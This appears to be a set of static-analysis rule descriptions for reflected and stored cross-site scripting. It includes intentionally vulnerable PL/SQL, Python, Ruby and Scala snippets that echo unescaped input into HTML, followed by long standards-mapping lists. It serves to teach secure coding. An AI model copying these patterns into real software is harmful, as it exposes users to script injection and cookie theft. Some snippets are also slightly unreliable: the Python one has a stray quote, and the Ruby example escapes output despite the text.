HTP.print('< b >Employee ID: ' || eid || '</ b >');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('< b >Employee Name: ' || name || '</ b >');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.sql.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Python code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Python code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Ruby code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS, however please note that if using Rack::Request#params() as in Example 1, this sees both GET and POST parameters, so may be vulnerable to various types of attacks other than just having the malicious code appended to the URL.

Example 2: The following Ruby code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.ruby.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Play controller code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


def getEmployee = Action { implicit request =>
val eid = request.getQueryString("eid")

val employee = getEmployee(eid)

if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
